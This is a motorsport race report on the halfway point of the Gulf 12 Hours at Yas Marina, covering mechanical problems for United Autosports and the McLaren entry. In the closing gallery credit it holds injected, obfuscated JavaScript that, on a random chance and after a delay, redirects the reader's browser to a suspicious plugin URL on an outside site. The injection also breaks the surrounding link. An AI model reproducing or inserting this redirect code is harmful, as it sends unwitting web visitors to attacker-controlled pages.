United Autosports, who finished on the podium in January and came close to whisking victory away from AF Corse, have not met with the same luck apportioned to the leaders. Gearbox issues struck the Audi R8 LMS early doors, and several lengthy pitstops have dropped the entry some 39 laps and 17 positions behind the lead battle.
Problems also befell the first of two McLaren MP4-12Cs in the field, driven by Alvaro Parente, Rob Bell and Karim Ojjeh and run by the ASM Team for this event. Despite running as high as second in the early stages, the McLaren lost over an hour in the pits with a loss of drive. Down in 20th and already 58 laps behind, finishing is now the team’s primary goal.
With six hours under everybody’s belts, teams and drivers alike now enjoy a 90 minute rest period before the beginning of the second race. All lead times and deficits are wiped out, and those still on the lead lap – Kessel Racing #3, AF Corse #1, AF Waltrip #11, and AF Corse #2 – start the battle afresh for victory.
As night creeps in and the floodlights begin shining at Yas Marina.
For the results at the halfway point, click HERE.
– Shots courtesy of David Benson. Be sure to check out$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/gulf-12hrs-dec-12/” target=”_blank”> the full Gulf 12hrs gallery HERE.
